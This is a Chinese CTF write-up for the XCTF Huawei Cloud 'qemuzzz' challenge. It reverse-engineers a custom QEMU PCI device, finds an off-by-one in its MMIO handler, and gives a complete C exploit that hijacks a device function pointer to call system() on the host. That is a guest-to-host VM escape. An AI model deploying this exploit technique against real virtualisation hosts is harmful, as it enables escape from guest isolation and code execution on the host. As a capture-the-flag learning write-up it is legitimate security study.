XCTF 华为云专场 qemuzzz

XCTF 华为云专场 qemuzzz_第1张图片
绿

#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios

启动脚本

看起来设备叫zzz

去ida分析分析

XCTF 华为云专场 qemuzzz_第2张图片相关函数

XCTF 华为云专场 qemuzzz_第3张图片可以看到那两个id

在这里插入图片描述
申请了一块mmio

XCTF 华为云专场 qemuzzz_第4张图片object对象里面放上了一个对象的基地址以及一个函数指针

但是问题来了
我们在本地类型中找不到zzz的结构体
所以我们需要自己分析这个结构体

那么首先我们就知道结构体的
在这里插入图片描述

0x19F0 0x19F8的地方是啥了
剩下的我们去他的两个mmio函数中去分析

zzz_mmio_read比较简单
XCTF 华为云专场 qemuzzz_第5张图片
读结构体里面的一块buf
而且我们能看得出来
buf在结构体的0x9F0的位置
且大小是0x1000

zzz_mmio_write
XCTF 华为云专场 qemuzzz_第6张图片
功能
0x10 对偏移是0x9EA的地方设值
0x18 对偏移是0x9E8的地方设值
0x20 对偏移是0x9E0的地方设值 且是val<<12
0x50 上面图中的v9是偏移,v10是长度 我们可以看的出来功能就是对buf中的内容进行异或。通过v9 v10来控制异或的地方和长度
0x60 v3就是结构体基地址。后续调用了偏移0x19F8处的函数,我们先研究一下函数是干嘛的。
XCTF 华为云专场 qemuzzz_第7张图片

XCTF 华为云专场 qemuzzz_第8张图片
根据刚开始传入的v4 也就是0/1来判断走的是哪个函数

不同函数当然是不同用途当然看名字就看得出来一个读一个写
这个函数还是比较常见的,cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。

所以0x60就是来对偏移0x9E0的buf指针指向的buf进行读写。
就写在下面偏移0x9F0的buf中。

漏洞在哪?
在0x60的功能中,有一个检查,(signed int)(offset + len – 1) <= 0x1000,因为buf只有0x1000的长度,而这里可以写到第0x1001的地方,就是能改变后一个字节。
后一个地址放着的是这个结构体的地址,我们如果能改变它,就可以把整个结构体劫持到可控的第二个buf中,然后劫持结构体。

那么我们总体的思路是啥

1、溢出一个字节,把结构体整体下移,泄露出结构体地址与程序及地址

2、因为泄露完之后我们后续的功能不能再控制我们的len跟offset,所以只能通过那个加密函数,也就是异或,来控制len offset

3、异或好以后再控制进行读写,劫持函数为system_plt,顺便再次对结构体进行合适的调整

4、最后getshell

要注意的是我们设置那个src的时候它最多设置四个字节,具体为啥我也不知,所以做出一些合适的调整就好了。

exp


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include

//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint8_t mmio_read(uint64_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}

//
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/

void set_src(uint64_t addr){
    mmio_write(0x20, addr);
}

void set_len(uint64_t num){
    mmio_write(0x18, num);
}

void set_off(uint64_t offset){
    mmio_write(0x10, offset);
}

void set_write(uint64_t offset, uint64_t num){
    set_src(phy_userbuf>>12);
    set_len(num);
    set_off(offset);

    mmio_write(0x60, 0x0);
}

void set_enc(uint64_t offset, uint64_t num){
    set_off(offset);
    set_len(num);

    mmio_write(0x50, 0x0);
    sleep(1);
} 

int main(int argc, char *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        die("mmap userbuf failed");
    }
        
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);
    //char *payload="cat /root/flag\x00";
    char *payload = "gnome-terminal";
    memcpy(userbuf + 0x1d0, payload, strlen(payload));
    *(uint64_t*)(userbuf+0x00) = phy_userbuf;
    *(uint16_t*)(userbuf+0x08)=0xf;
    *(uint16_t*)(userbuf+0x0a)=0x1000 - 0x10; 

    set_write(0x00, 0x200);

    *(uint8_t *)userbuf = 0x00;
    *(uint8_t *)(userbuf + 1) = 0x50;
    set_write(0xfff, 0x2);

    mmio_write(0x60,0);
    uint64_t rw_addr = *(uint64_t *)userbuf;
    uint64_t base_addr = *(uint64_t *)(userbuf+8) - 0x5bc5c0;
    uint64_t system_plt = base_addr + 0x2a7a80;
    uint64_t payload_addr = rw_addr + 0xbb0;
    printf("rw_addr: 0x%llx\n", rw_addr);
    printf("base_addr: 0x%llx\n", base_addr);
    printf("system_plt: 0x%llx\n", system_plt);
    printf("payload_addr: 0x%llx\n", payload_addr);

    set_enc(0x00, 0x16);
    set_enc(0x00, 0x10);
    *(uint64_t *)(userbuf + 0x7 + 0x100) = payload_addr;
    *(uint64_t *)(userbuf + 0x7 + 0x1f0) = payload_addr - 0x9e0 + 0xd40;
    *(uint64_t *)(userbuf + 0x8 + 0x7 + 0x1f0) = system_plt;
    mmio_write(0x60,0);
    //getchar();
    mmio_write(0x60,0);
    return 0;
}

PS:要特别说点调试方法
我们在这道题目里面需要申请一个userbuf,让他来跟我们的buf做读写。
在我们调试的时候,想看看申请的userbuf,拿到那个phy_userbuf
做调试

首先看一下启动脚本
XCTF 华为云专场 qemuzzz_第9张图片它是指定RAM大小
64M是0x4000000

我们得到的phy_userbuf是对这个块的偏移
所以我们据这个大小来找到它。

XCTF 华为云专场 qemuzzz_第10张图片

于是我们就找到了它
然后还可以搜一下

XCTF 华为云专场 qemuzzz_第11张图片
中间因为点原因重起了一下,地址不大一样,但是效果是一样的
那个heap那个一看就是

也可以找到他
另外那个应该是opacode那个结构体。

因为有符号表,下断点可以直接
XCTF 华为云专场 qemuzzz_第12张图片

你可能感兴趣的:(CTF,网络安全)